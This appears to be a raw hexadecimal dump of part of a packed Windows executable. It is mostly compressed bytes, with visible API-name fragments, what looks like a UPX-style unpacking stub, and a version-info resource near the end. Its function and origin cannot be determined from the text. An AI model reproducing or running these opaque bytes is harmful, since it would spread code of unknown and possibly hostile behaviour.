D1413CD5E8D87DD3FF9A022EA3073BF006FA8E427F6D184CE1EF376EF02632A3003DF2A9202F4448D9B409EEE09087CCEE8E3E864A615B705D010ECDA7C3078DBF05D096888684A208046C7E36DAF0A5A67A49F78E6F0019FB9F1CA984A90B1F7EF9E5472B205617889B2ACE312611C380AFBFDDD8CAC6E31CD1C99D817083C82C6C342DF9E0A312C38529246A05052E867E45547B465B81FE3CDCEA4C467E985BBDAB5DD580229BC06015875C8F2D7583AD4466F23E8310C1D6ABE9771101650E7A1823B38C5D49FFF62F550A8BBA010453AFBE41072988C88676A10F3BFE7FAFD95BA70C7270B3E405CBCB10963A0FB56D5F8ABBB9602900A202DF2B71FA0640A382D61C7054090C8142F7DFBFAC59446030C2B938F7EDB81BF85B53634E41741FF6E7305DE2F2F137A050EC43491D5DF6CFF8B5D53ADAE2F0367060BED340F8DD3728CD2AFC7B911C7339FCAE51801C82FE46B44169A35B8301BADC1B5F7097F5584E7773CE686EAB333ADAF85DC477400F7C0B70FD14DC30B8BAAB762BE3027238755FD52D746A5183D43AD04BC56F5BB495250462B66C70A899BEDDEA42DF40592D70CA17E62B0FC50D7F5405B5131C283833631B5F00B683809A7B86F2227F4D688637A0A5C9E484BC40B35E00F4EDEF4D910D7EFF8EF804BBF452917A221E0D36BEB4F731ABAC9F1642B018D4C6B7FA56A5031BA248C05E2E48265305136DE12A095B0A2DC1846AA9040F8C03423E3ABFB0C1DF7BC49CCFB8DB950F4CA5E9FFC914F35BF0D60C983E5F3E2DF0C6B66813DD85C1EEB3480EBABFCD0028056DA3E70FCCB12FB517EEDEE862B3CCF18D267F724E02FFFFE89770521D9F857AFAA36CC7E5F823D41B8DDC3C2DED3648A038721C6C540B79618AD47A60AB3594B041F9ECD36BD8368217BD00FE20607E50F4EF6F7D210BE5A6E7C4295B5FEA58CA6CE218BED1FA022A3C802C5494BC6B6B20F3852D6E1BD9A73FF47B83CEE8D651B1FD648F34307EF35CBDD06921DA37EA8D258F1B1D3C3EAE7A5D05B9B081814AA8374A68475273BB52A361086CCE9BD06DB0BD89DC80C09FA95F1533F2552CFD2F3CAD047F496600CB406EB56A416FD1BF0009C6A11D37573A3E40B25EC05BD1A979421F910ECC687B61132EB775708A0C785BB7DED0C48D83A82783E14B40CA0C8FADB4D100C00620A6A2DBFF2FFCECDF308CEE183C4C5B47B2EB63BE04DD7527002867680D990A4B3508EF4633E2371602037211A6DB80EA5B74E10617B5FF91782EBEE0D0FF8D8D2E87EBBCBDC8487E3F7DC4FE0783814FB44BE230103102B0806F1BD83E716EE3177A9611FF458047DE6E37F003006247FE01D398BF18F9EF51B3047E70A196A92ACF000DE510614BB8911601ADE2D97510E6BF506D83088065074F005BBEDC9EBBC00B1BB44D72A9370144BFECC66F01B45B201D5E2CC30F101E411BF4162772FFD63140B6FF25B7B06D609E3C79AA003A5C771D6A55B14AFDB78E8A187C8058D0AFEFE1B7ED8F6F68E8B6895596D8EBAAB388146D8EDCA0860AA562848D0A270B2FF14694DC783F1C030C7774548E0E2E513EE8DE56F0DD10FDF6F6FEA3164FFDD36E9E26B9327ABEB9AB5A5BADA60FA7841EC328D55471D0674363BBBD516DA14DA808F3D583CFB1F0A60222B156A3E0A347A21BFC52D4FFDABE11B774635599205FBAD1B7176DA6E921183D33A1DD02EEA8F2A2EF32F4FCC03980FD99F13E127CB8FE17F89716EE22EF187E15F3F1E7ED326CADBDA84BE7C106758742B6B0168FD115A04B5A13E676B534457D43CB798860F89910795BE99782BF6F3F7577BA94742E8DCD3A8A8056EF5EE8769A7280CE082BF7479EF94300872D171A7457341777CBA7062EBBB68DB4D5E087F625E87B059E3E6FDF5187AB1FC1F602163211BB506EB0F43788AE1B778EB5841A87021917FEDB1BF7450429700E6419360449073C7E4DC56F2DD5064D2A07934E5AE8E00B85E806A58320732FDF6FE07FFB2B57F21AF56895F904F520E3A28CAAF6CE9F4D8760E985DCFB55AD5C10E19BEA8B37BACFAA12AA7BEDAF15D4B940A237B0C04E90C7CBE0D2FC400611BD5094A1D2C86E8CF47FEDADD920045767BDC210290490096D4122F8C64790A7F3225065C9D1E8B6681821C3475992BEBFD4B83B99575BF9401F68807EBA06B40BDC2EB50DFE4B150138E7E74B43C4256EB4483CFB0B9061757CB1A3534B2085B4F3A07F97DA50C311700722F9FA50F278A06DE1201BC9CAB9136FCBA6EAFED658D7941126005FEE072628B792855FEADE608E8891C105229EEF01840D1BEF0DF7D258CE01CD048F2F1E95D3E0DB1AB573B7848BFCB4E29088304FF1DDA035301CD5C8171B4426F8024BC4C66F0B76E36C3EDC5A1BFF7D46C361EAAC5043DF93CF8B179C5AFE972AB74BEE5DE048BAA618409E5B175ADD8D31ED364BB3D5F87114C4976E55C7E9C1AA24CA6557685B88DF214EB8C28360F7E98720810234150619B306D7D1355CE2DF719B88F012C1E7162577A302B9CB4F857ED6ED5BC0D28EEA3A0DBC9766BF69332D6D68E378616C55E0342831230C74FC024DF1619E3E490069A11BABC142FC423C8C50B580D0071880AD502CD3E646A61F766B2B3AA1E5394781EEB8D86F50C8F0100240282B1C2BF104D2E6FEB7416CBA61386CB0F3F1B1D7FEB79EA18D97CAC168B0BCB54C62146ED1C0A305D9080DE92D7385DADA16A66D7B005FF47F34FA5D1118C96CDF4862FAA46DF9171C2F22CFCB27E49B9162FC52DFB5B0A18488A7D9A0589A25FF4BED2CF85255E23266EC6F9FA606A03674297A297E81DF2704C1FADD0A5B138285C1C090998972928B256EE72EC7C486D7EA0B8D5FE81B1092C2BD2FD706287F835D71210AAFD242174406ED376E70B7A6F5198472A52077053B0DF8BF418127CC4D64E01242BB76F911F005236EDDE0FDF7A8036DDBFB4415DAD6C1ADFCD513265D487A996EFD853AD8CCF136E21C205DBB7584F80B4B5CA056BAE61B57F2748F0D6C7DD4D75F1F09B902D7F9A8126D851FF10D8BE9FF0D2EB4972FB60E26A8E802C0FF87EA8286AD16FF022F01063AC100B45E10C0AFB104DD0AE32E1CFE02A06AF852AD85140624006BA2C8A3968DBE95A851CA3C09EF47FB6237DA8537C4805C22C1C228503B5104C5A9D6827B763006D14A942E60D88A24EF096E0097BFC959818280E43FD3093DD103B7EFA03987B6C65761B042711F14706FFD5FF87D81FD2C207C68FF613D9A5E7D78F8AAA4988683D8EA08F814710C4118E2F34B791DB005FCB5006399D2E7985CBA44FD04AFE02243C29860B77B3FC3DFF8854A11E8481087A26B06ABECB174055CA947F914F6530E58005A339E75114FA52AC44281234052A935FD7F07E8C460D3209AB29D4F604A668FCED3DA8ADF6E6FF10CDA3670CAF03B080D79078BEBA0DA515C29830D92103FD217367E72A78FDE8DC2B7154C8F2EEB6B40977AE99F9DC2B1C51F078781B8833768CF4EDD18F856C426A3E1DD0B379D37BC56B4F0A66805421347FB8A6E68B0C2A4FC53BE82EB85866FDDA825161C4195BD54D13CD7567C0BF88156CEA319E280B8D03D75BFBD44D137055876692532788DF13FB4FDC2D2E947E119E59D80899651CA027869BBB52F895B2D865D068E81300ADF682C551BDB1DB6279094800AD5B6F1D1B163793A35D6498AFA169F2AF825315F53B87FC67EFE2A0525F355B6C97A08F840DBEA173CA86EF1014C9A62A9045D13A1AF22BD7D807E13AD5D73C778874DA049552C11DC6F1240C7970BFCC2AE11B824D8D4F67349E2BFF9492DD1196A10563B753814B536ECBE0BCD010DD90D84092227FCC3B610DDA2208050F34A58CBA33B28B68B68D00AB31793F8AD7E6B529BBC06872041DA1128DAFF56FF52C75F0E4C9C7D28C910F643A414B49A60406DDC62032F04FD67EE4C521148BF2BF55FE0C58FC1696D94B10E5AA9EE150741E136148602F520C8D25C63605F32DDBD2317168A3C9ED032F9856109BB5753D41B86000AF5969793EA2E5C6845711C2F787300CA28B5B1ABBB0403266588EE67AA0F6E37162E6B016F077D6EDC8817F878C692A93586DA81A9BB15B1D44BA512EB1D2AE0A7A374FB63002B01E77C14566F213E0297E083A2FDA20B35D9B0612845C367715C9B9364A871F80FB4C20362F16D32297E158817D8B57E2C5008CE0F8D96E8AD7E1D74A909BD95DF0BD046DDE4C82E937F2E136758FE5FE063D8C624E1D5D32B8F2C91053E9D9FE8154BDCDCDA0B7B7FF6C2CDC9FD9788BE990528DFD374A7D7B860828C1EEE8582A52FAF670E6F305EEC22A9AD30B57942C073AF60A2B5FF6E3874D3D29C9624987CECFE5FDB2DDEBAB6FBC38206F9E85B5828BF45B4B6FCB4E384E46D095B3832EAB75DFC476418ED84D849A13437A11180C1D0448AFF0D9E02EC198C25871DE009D90A57C10BBC02BCC9230B14307508CDC40E2837F4B7DB40920A76010F49A4A339363EE417574E2F2FF4FF8E92209BF810FB57D9C5873C5F1BC104408AF08EA5B78A2BB14618F4E5B22485A3E1C6B3E0BE4A1E4D1348FBD2066CDB3DDBDB573BE09650146E744761BFE83B838C3726C39BA6A05BA664C94F8E32FA56D1C623394DCAF1E134613BA8FFDCD8AA4BBB6E8060FC0786F76D04A587AD9C6375F773FED2052E49702BB90608CC2810CBE5809076E806064AEBFF80D98C2F5CA8D58C82D05281DA2344D0A1A6DFE80C9D02135B436F889B0601877101B87CE9034D3C948F4965DD481134BA1869C0174A2D6EA83857A39824D180A6C17F53C07516A5BED1E80B6B7BC5C0AA1BADDF68A479A34A76A986B2E35D54AD16EAD921A311A59895976AA2CB5EA186014C00FFC0AD419F8FC9C9D040E1C2828676A5BEFD02BF2403E2010DDC1F805735C7F4CA2F5B7CA91C7578E2103593103A79686BA8F881E5C9A70EF2038EFCDFE2ADD6C35B44C0D0D5F93895D50176B451F978ECB300DAD47D9980A4154B7FABFF4090603458847D0FFAF0566D9ED7D9E705CC1D3687FDAD96D843C05F73B7C6E0B41370C1A90568A2196972792E8EE2BF10B547F4BCECCFFEBCD1229B9AFF5B0B9708EA141267AC2058FF3B24210B56CA112DB5E8E58E0332A8132D2DFD7F2F6848F8850F239F18D7573C6F1BC77FA106DA1EE48233B053E0EFFCF0DCC855618915DEC3AC05C1D528380E207F01E036EA1B5B7A737AF09D172E3304E2ADDADAE9DF5A4E5E1CAD074240FF854A010A28862E1948541396082E3D8AF64F86336AD7157CDBC4379A6CC7DC41B1A218400148AB5BFF9DBB150A250C2628AFCCC618635A70FC2842A98DAD06F83958E7A321D117FDD0951085B1DE18450ABEFD42C134A6D212F114C46662B0C4EF6ED0B9626A2F1AA373D90D9F8016FE876AE36981B761A23E891A5C02895B142A40BD20D7E61DC04DDBE803DF52A828FA2874A10B458BD37E5EE4C35BDB51B04D38E4B5E83D180AEB4FED166BCC6F0D068904251C1F6A6DE276E6EF3494A04CF805BF1BB7855F3547CCE26D5BA21A2B619EC1E1E347978A3BCDF390576C26F7C3F1DB52EDA4176822005A8657E0B8908B7FB9CEC0F405D01F8C922F446E2D111737E8CAA129285791473704DD1E22F8D5A701F0FF2C17F85D18958ACB64A6F8F7AC0E088EB616785B470441B5BE22BF257A5BAA4BB355CE268E5B50DCB9F85522D3809CE9CABF10282E5029287F748E0012FF2D3E283335605B18C3CBA2B820E9B8D1BFABACAD3A56373E39EA5D6651CD2CF5A55BDB1326236845E541ADFA3BB2968AC2027C03868D21BD04DD28B130D97F856F3AD26FDFA2B71473130C7D5C9E3857FF3A25AD404BD181890768B958885A860B7C1A0B5BFF61A49689674384D4F4FBC0224C805CDD54FDFD0F70C5D658D73A51B2EBF87FC3AD024D610FA31A819614F0F9F5188E3A80D5DEE0069350C3AAC8EFD01BD9C78DA676768A5BF3000A5CE91125786B69A4E3B4BE04F0F18910DCD05FE8676C160FD342B25F32FDAF49257E2ED4016DE20D5B9FBA3A95BAD16F1BA61EEF4A0DD6A1F870737528964C5F0808970432387D517AC28D42DD5111991657E03CCFC56D79E371AD5A2E90045F98683AD5801BB4C3C7104C7AF2296AF0462DB7AB504A2704D4D0B6A2450D09E7D1BD64DADA98C3FA590E545A9E52C250B50D6CA2F56E6D91CE829B0836650AD54A7FCC82065FE805324604F4552272424F7725FE12F1F037062B5B5106BB8E234E7EABDFC1F6A7D8031C74D88D812408A88064DCED85862E84012A7067CEE15C078DB635A8F8C49B51760F113443A3A5C9FFEC42A94B74423FCA88E0A32AF65FA0C5BAA8510B1DC59949850C560F28C446ABFDD68DAC8DAAA56E2E370C987936851B2DE8ED0EA23C63AD533EC21D8C2AB6DFF58BE7DBD626BE2DA331A11648C4D8965A5ABBC8A1A98104FF105F28350002D9D859F8DF04D4C68FEA31E8F016F94EA082D17054B85CA8516BDAFBD37F2B6F3927876A682C72B9DB02F953F281A2BA827B09B221902BF2625A26F82DDEC09880F0726308B8BD5C9B4B74445B5C61076838940D0AF1C0120E90630E99AF54B48866EAEA64DB970CF1DD2CA294C973B8097AE2CE181BC042B47F1487985C08C4F642DB5C87315A5B74DE003438DD4BAFB6ED6241C4B424616008B98512F0DB78E4EDC3B82927AE3D98B5F1160BD42E3DA7F11DE289A1425730F85D5BFE0F89B4F4D76DB31B849254BD4E924CE1367417BC933664B95EB4A61BB75BC1AA5E8AEA494DECFEA800ED16D0173EB04D792040F7F35D014AC46F2B3CC2A3A52E4AB6DD6ED95AF225122858998D83468D6F8D6E0CE2275924AD842F6E5072E5B6DFDE789908EC04241C041BED52D14FA226E80729D74553B7A059B020E09C1E355A7F6B5B1F3218C991D9082F9FAD6ED416E629FD519DCCBBD0FF1677CFB4DE89A4D82CD1F4A4D9C8F66FBCB97EA3342E5501670E2D599D5BE26C8D880300EDC98212E1F3C4770415889F61CA5AE818A51AB4BA4F844D27AC7EAFAAFFC42AF796E32DD62A8C6DE5C25B7F13CE7A1BCC088F9E6306A47A42EE7FA9A5A27D6EDF886B96FA4880FBFFD2B7CC8762DD2A81666387A10199D26DF980584E3C5B807609789F7E35D889068EF85B04377A68886F48447653CC0CA30916D8352DD503CFCC1AF083F660B4000CA6BD2ABE400BBF9B92E443CD0DD6C9BF6FD5DB0CDE60BB3953181FADBC8F8AA6EB2BB6DA5003F927DFCD7611A23928EC9E3B17B91634B708FE5FEABC1C981542C000FD1E0D97E193E160A96E447D1056EABC1BBFC4D63B214157194359B8067F20ADF576C3D81EC9DF98BCBD04335B14F7A27F57F84610ECD72148E1EC0B7FDC45D19EB76A2180978427DD21A9C59181479735B97CBCE7E0ED89C2107D4A3EF1B393ABD66D09A79BF6EED76E4BBF7C09B75155856AEBF05BBA9058E1009BDAC2C21665B2CE47A3AE308052D120709089EE171601CF687C97C13096EDC3AF8ADEB8D1BB1092BAB2D2EE77513450794695E111AECFBFB175E3434203FD24945ED0A5AD80DCEE05D8762D77E7C531D5E8B1B99D39725A850CB52A1344F2EEBFD42572F49EA8F54C76069B58667F1E1614FA02A801BF7A5EB06843B5802B62CAAB6DAB1AB66DEA4C1917CB0169BD48D4FA167F00E093913B3727B1808F4167AB0A852AFB050AD410442A62FC756F71EB6F1E5643F9A9530D156261927B36FD6E6F0BFCE0158AB03295AB331F6A00E923679C6DD4880592405C7EBE2D51DA4AE5A01D1318906B11DF0E319C81D316BC160A1768C376B3CE6725356DCA85900E68F402B5B2576B20E8875F861D918B55899D4A3675152C11F55149DFEAB7054EF28B4353B031600437B756610392AFFB5EDF184E3D6CFD6F2B84EA0093FCF86FFDE4ABFF83BD68451D7506E00E9A93B9F8A97499EBFB2FF5AAE977E986DF529AB11AF993FF6749410FAF4A0C2D347CAA40911CF69308FE83A3FAF612943E20C414345DF68BC87CAB5A68826187C92FD54D2F5BD7025A7169285902816C443FFAA9D81F72349DE6C197592F6CB71A5A5806BD0E15423E67620857FC8553357D5D5804F97ABEFFB54CB53CCDAE00E8A94BA03FDF2EDCE003F09199D1F75108E46F602C3CB2C00517FA0A97797F89DEFD53046CC45BDBA769C3333F10B4E450FC428177BBA0421CEAC8216F24F0EA42BEC45F4BBDF6968B0F113DAA5A078858E810B83AC7207CED5FA28DB164D9715D862B8425308AC24206A05E3CFD4F814BFD3BDCBAA6181E300A342495BEE6D1B4CD55EFDA40CE051484F6201A716FAD51AAC5F7CBAEABD4DF892D0CAD0D103242458BB8D4377ADD6D464EE14105F6FCD860D5471BB665B67F89D393D5DBC65BBF354A642895F551A600CEB81F25C2B8C1DB026BDC4F2FF170CF301B37B870811D4024C7FCECCD48056F7057070C4272FBC8635F934780D611B5C18B40E4DE39499B37A89AE348BB84E0477F04B061A9D1A4F5B09B57E7F5C117FE0503774D21A780DB3A3D86509467105BB84333A58C7BC5ABFAAE6FFEB8073A13582C7053831AD86F1E5E9A87C1EF2E2C68DD26C0169FA1051AF307F2D8280A2C971ACCE908A0FB47ABF0BA92C5FB90F6FDFA1BDBA5B9E1034BE53B7384D11248E0A5BA15358109F45A336FA2B6E0499AD544736C8DD2760A16553045640E69002EB1FDBD1CB089013923DEC04C003636DC89BCA6739D48BB6E71176FD0658304BAE2E580D3B454AB0A6CA34C9FB0DB4B6DDB75180C6F997FDB07967C7D63832FF5D2C1AA894E9BA14A14056C045084FBBF90E5D7A9D60455294077EC33BDF6067E2B992E9F3EE473E17378C441AD142D5A6883215C903596557B23E813D5161F1CE33FD6FEC2F66D61ACC8431DDD3A4F2C75FDF167E956D4A2DC4B4B4022758C0B7CEAEBB3E82885D3EE8EFCBB6B8A12F16BB730C382BE71B668307D005E4E45676189E5B97C83D6D5740765BDBAE7BAAE8425A2F45B7B6C664D8F4259985BDB6D6DD0137CB835D9F9A9EF1F2DE212D04C88AF5712F11B375480123FCA980CE411F8A3B844814B3BF8C3049008431D712D1FBEAC4500EFDB1703F0B844B33DE603627214EDFF5FA2AC491DE4B8286B803D466143697931DA32F6BC00DB1B9CF9C291F419BB5BDB73B0B1D55B14FAE5C11576ED7C6851B76E0A03F2D754CDADFE56BF89FC31044D8580E429B75B6ED6AF000BB95E165668A2E502523AB27FE9FFD21ACF631FC8C38CCFE021CC1F0527FE0D83AF961CDC17D8FE72FED45FD577033DCEF1350F048C31F81B6FA51448EA19203F3A8EE9F6AA024B40BF2334D042A3CF8E023982CED478C7D3194490E43DD5285729EDA6DFFAC0983F0DC95A0CB9C535F06886E46E7D0268DCE8044CF8F90102DABCF1C6EF6B30186F80923A4A617860E182C2621B5C8A2F68BB7DDDB1BB9834FA7830D1DA1CA4DCE123905A891C94A98A8112BD55A3EBB9D18853D3F5A70411D0D1BA113314D836D0A3BDC1FFBF520DE1BF600E901C291D8076BE505EFD5387DD28D16AA9111033C59152FDB6B1D8C939309204FA10E244C8FEB7D8A029FE1E44A70C8CE4E0773D1874DBFAEF73CBFD7400FA308740606BBC7270184D5DA0BF39633ACA034C17EA27041BEFF4C2A5E87F1CA01881A20F93D02D89F6160B18B0075EDD3D48DB1C049478B10619C50A6BA316E89F40B67415800D41DBB1400B0A5EC3EF9F371AF8B6618417180FD618C6F5C50D8FA169830B0391D552B25DC09DB785CB8686827AAEFB549F338DFF46FF86022A9B8A699AFC206EC689266300E4A16D354BC58DE203B3F430AD0AF18EB56E97B62E20EF9B32D2BE517AF235D5A05D7304234AA8362E5E6CB8224FFC56F78B506DD0B67E8B69D04BEE33E28B79B6152A941A2A1585B811795BC36FA2975E31AE3485EC8227288FD8051B6C9D671CE6EF40F6E2DB1B9902B8A30CD24134988371E05FE01B17AF1A7C55523680FC52007AFF4E16B5B0DB1E2B5CDD897B083B28118EFE2BD156780A20D9A7D2B7A2DB0AF27CD1459784727C5DE956F0C2B714273FEE6916EF4AA5AA61695AAC5831016C140BF412F590B9033F022B68052C3CBBA96BD685BE41A05ED083789F505516B5A56D814C87EB63FA34B175FD56B0360B9523DC53D06B7420B778DB0195AB4C11D9AC54410A3CE802FAFF31E6AFD43A0C372C8F82C9B973DA086B11ED8D396A3AA3850B2D6F5FFA76D5A70D174399E996C3B580421D162DA7157FE1C57CE560ECF050684EF1E71071831F3E92BDE68F0C2DD406FD0F2126CB82A92F8DA8ADF5B641FB29C1F03D849D7092A35AD8370B17D5D6EA86125BFCC104858144106B1F2C4D746BB79442118A4D05CFC3E819DDDA6FF8A1CEEC89B11DBC44373926CE45FA0053572568CA26D9A86882D5F6F45273F2A8020C36DA3151D2FF8DAF228257469E579D042CC70FEA95225AD56668DB35098B34BE12B9A3018D0274780691E0A5BF414F70B332FD40EFE71AA7B0375C225AF84A38615FD369B08AF4ADB8F55710F7AD55918EE3461F460E71CB10B0EB9380172B76F0FFD451F5EC943DEF1882580780AEDE0BB4FE152C3F0BA020211CED7FE1421B2D17E238849715E59F044130C5462B5074EB1EEB6F1F14DC761F3148C05954F179C44DE1DE82923BA83A06F237F1176CF0BFBC9D407886AD3C2D6308D0AB600B7A0422F57FEF9AB323FEBF70A71C3197FAF103047645272600B5DD2377138D6D8D202922E709217255976A577CA40DDEEE4777F0C3A5CF7D428EFF02722072F17CF54FDD8D6AA5B56809EA321B7B521BDE2A7C4790141BE7A33E33DC692018F8AF96E8CDFA0690E093F04F7D882D1820962F3186D8F806EA1DB4102635E6018B013FF45BA3E29F2113EC75E40E9B6063B08307BE53045151ADA95714808E4D14764BF1BE0D0D4307E0C7F802BF019BF83475407D7E352A7DF5BDD55AE80542C7120A776F70CA12557717860088175A88CA9B820DE0CDDDBFB64EFD64BEC1EDA647D7233182796B1BD1F5417A54822DA2834B1419C17DBB2DDC76EFF182DA1562AC9654B31F66817629BAE32CAACDE1FC0F239F9E5445BBFEE957428F2A6D14769550F675D7DA59C56F5D025C6114D1187434AFC937017FC9703F5D6104A765D0AA5D13E815FE465B805E5D984AD394BF7174A254E34637DCC6E99F0AFE1D3777153822CB80B798C785596F231ED5B753E5C77B7815402FF0216A0D1704F06DBB3D3E58E0AD8815CE25F1383748DFDAAAB70FAE5383FED60925B7A7EE1B3788B7E3DB0B82F32BBC6538C612BDA88537BEBDA7E2BA00F0EE8E99FBCD800C88E225B1C6EDAD292380804E14279754780CD3F60DC1E82BE4939DE14DAB10C805A5AD35CF9510C7FF4217FAB6B3F42988B0EFCEF8B84006967E2BFC33877881E85B2EB07580C6DC56E90C6F3718C0FEA660B030658B66C4755CA81B1413804D5E7F064E807714EF6EEC98061357DB00C3EC0C3639C3AD3A137C331D5B86313914BE15F505D6B70C1C3A68A0986EC0FF46BF8D522F80D44E1F1320B52582B4B90A38C4F05C05EEB680DF14DD5BEF558202D5553020DEB50284D6EE12C232FEAD21E8FF1A8D1603976D40FC480903BCFD3702D3907F20B760D640E6AA0D67390B4BC41687242246F74F6ABC356A0AB71FA3DAF1B1B72854257C638D283F77777BE864049C332C404D006CA9208E97D63528746785309E825E75707EA9EAF61CEDBF3596381C5AA10C8DA9FF7775A1F37B00BD56DDA0C13BAC67E26512D2C70FEA1BCDD1E11F8FC748D094600B5744DB1DBB3C7D072C5D895D9DC24E31964178D8B71BAA37B8D594F035D6C5057496FC62C9C4ED620335621CDA11C213892F0BDCB10850EB37C8E24A85CA01DA2A47476C23C416F4FF6E0755336F8F35B906F806F73CFECA02D12DDEBA004C2B36B645AAFABFE81237A29175807EFFF35512B7E0A52E371412B35498B60A9F82EDD94D3D3C833E70B3D678FBA5F2A8CF6DEA4E3400167C515D87A8CED11B34A922790196FA12B7A2C203D86BBE29B4055578C07FC21BBC431B0FDB52BBB3BBA60D150D7483AB68FD6D082B0F54E7E2F22B43EE2F541E69A0149B00A0BC0D6B54855F60283D7D175D60EFD727FEBFA16E8955E3FEEC80B07D99408E3953458C94D9DE760414A75953441F38C8D18BBF10AD9BCE9D5DAD2E4A0E44E112B4BD6E1822AEBE71CDE04595DD6FD07598421E60163E1C61F7D15C215B476D810B8FF8073919508D1B0253D0223ED2D0E180B770FDF681F90059DC0082A8BBA384D7A4499B76B7C2BE42E62777CAD96E0631C49AC21674FDD64D041701FC1CAD1DCCB8856E34E06D7EFCFD40363AB18161E14A300975F306DE980DDAC2BF61D15F74DD78DEBF1F1FE4CBDFBA2DF1996D709C398469A39B9D397E81FEBB3265FEC3E421A4B27C80A8408032857FA3FD6C41386078702A5EE840813DD41FCCEF115BB547088FEE61E94B6C2D40385BACBE18D9A533781C2FB075BDCE6E23240A0942FE0DC077B78E83CCD6AC23C410348245856E8DFE6DBFCF77481D4B884909A4DD2B805F8ADE1B643704AAAEC409437F61FD30E34A6FC3C66CF7332D16DE759D7C0570BA094D76431400144ADDBBA03D74FD80DAB7D868A68D5F40F60197F617BCFDEF285D9F975BFB1CC8767B23874A23660C975A801F010CECB78EB6FDA75AD81CFCE8F8158EDB102535CE9270D2520BEEB68F196F4B933839966289ADFEB015E1521DAD806D0B04D11A24AC41DB5B8113A1C8BF3028437FB65B0D6E86365FB5B0627C693CEEB7AE0A6D8A8C637DD739B0D9099678EB069647DAAB1A464BB16D7FB45D433B2979F86A4922AF931FB195FEA3800A493A3F403DA3B8DAD605FABFD8CD3C93388A231CA804A5E3E621B0AB4B4DFD60E1E884E802F82F3646336EFBB66319BE305B3D71AC0A71ED4C62777CFF0B641C96B5EFC5B5EE6C4055F96532C0398DA86FE802BA03CF46B47BCD57E46FB1C1D287A37D348F46661A64814089DF62262597DF62DC33FEB7D446CB73652ACDC882A0FCD21B40D70F4702292E4B52EA7C7E110458151820AAB00897514104B2A3002A90460154208C02A84019055081320AA00264144005C828800AAB510015F19EA9A8207C30ED7FABA06D4C6F63616C467265650A96BFBDFD4578697450720F657373174765744375726E7FFBDBC31249641451756572795003666F726D616EDB5D6B6F15436F751F0E456561760D726FBBDD6D3F694D536563076F6E15491C9BDBB6B76C3D6B65640A634B6D4D59533FD6DA2F4C617374455C45674D6F64756CDAFF6DDB6548506405419161644C696272616ACA1258CA0D9542B5BBC3FE5669727475D65796654669188DBDB99317416C940D556E68306465CCBDADF84A70B225CE486BED65B3703C705468058A6FADECE6DACBE745697AF12EB017CC2E98423E5213B6B2E7078EDBC657AD0DD666862DAD4D1963D7B5F6DB42799F546F5769647ABBA84354952B8B39115B7D53ADE16E85E32C5374610F70CF116CEB0ACF7F4366737BC200618516198A7D6159586B6146D653696E67733C33BC454F626A17296F6D30EC963D76AF6ED79745760BF3FB66871F104E616DBCD310570C233BB203414841FEC2B60B084E3944653374A185B13056028B8C04B68499C7E42B4B090B07F008291B618B2729AD2D3206A559BD71FA8B6D767929BA506F697421EC2E842E5F414350DEE1ED0AA746D48EC161677BF792534909E04465D2120658C5659C81903216854E4A5A496FB55CF7B27B6D5D1154A06B96D054651B2673B48020496C2C6370D086F11E1D41033ADDC021A3574B00891E4031012E98DAD71D48A270DDF1216C64F0C661DB53502668D36767416388C0ECE19277731020F07609C3BA0354D9726776AD70618B5380613C49633D0AA1AD6C6544207EB9D885A582A51B6F7166798E029BBD21F46B746F708E13602B0BD84766465BE1C55613F0ADCD49B1952DB444CB4057E925E11476780BC36E4D616F912D61362D4A1E505868ED686508BE70758D157E0BEC0297244162E7B03761EC8E0C5F21F012C72B2584C8E3C7216523B041D6E1C046082B3129A13056966142610921650D487312424A485C8CB310C2CA36F067C24A18098BDCEEC6208C50896391B0425A97E75B09232C34464292524222DFA632B6ED3030AC6E1C68BF022994ADCA7D09235B16375DF246B6CA1A620F6919231269215E0C4B652B644B9660360B8B9578324730891B0DD2A16F77F2F860E06EB16E7551B8426F78412016AC3D711F100D2D7C30FA53736E446C67490A6DD7C4BB81313E777370723A660A2A1B743F897973224D4E72C882ED6EE8497344976F67316DEEB041C391776C786D98F013AFB548EC9F7462656772B7D686758C64AF4666D563684FAC2C619B26AD4E1D823966504516BACCE05CA1077BA5215A1670B4EEC1DC1A52421E11A12D5436C5615AD70F929DD81E6C52D9ACE7BC995B607058E11F36171F4D436DA452B54C6505A3B6D56AF075302030A3D6B8046970599E6EB849B4985674A51B1E96CD4CB773AAA3536B0C2B1848EDEE8A2F82B576A154346E73ACB29D2D210813B49C6830F7D9CC56A45655706432B61809B3C3D89DC0368B6449E43F3FB8843025B8A1875701356A6785ED3156244DAD10361E0D74666BC51E133A9184889361C85A9B2CF7F18C5081564608636B4362121646C8D0F86D73A58411256E062786EE5636CB384B65797358082B6B901DAB4D68985B126114491FB22B6598A446ABF8506F900DA3AD8A69343F7124AC84CF2B4BA49034C3A26CB12718056BAD4BFBE14C6A1DD273A5432BD696B4846156EF96B0843432AA0FC36DC76625A5005045034CDFFB56407ABC7CB1470F14E0EE59B7FC000F010B0107900CB413FE1C04D93AFBBA1003A00D400B02BD0A3B77D8B20800043CA0140C3D3CBD819DBD021E34100706AFFCB69700C0433B5077600144E7C21064002E0264656EC8DE7BE390077F2095C860B1A62E9061D70394836D062C02402E7228200164B37D1001271A2801A6FB5EA973A30C23602706DF85B692428F3DCC47172A000000E09F020000900000FF0000000000000000000000000060BE00F041008DBE0020FEFF5783CDFFEB109090909090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9120100008A07472CE83C0177F7803F0075F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE009002008B0709C0743C8B5F048D8430E8C4020001F35083C708FF9638C50200958A074708C074DC89F95748F2AE55FF963CC5020009C07407890383C304EBE1FF964CC502008BAE40C502008DBE00F0FFFFBB0010000050546A045357FFD58D871F02000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E93E5BFDFF000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020010000000200000801800000060000080000000000000000000000000000001000100000038000080000000000000000000000000000001001904000050000000A4D00200D8020000000000000000000000000000000000000000000000000100010000007800008000000000000000000000000000000100190400009000000080D30200680100000000000000000000A0600100D80234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE000001002A006A003D0049002A006A003D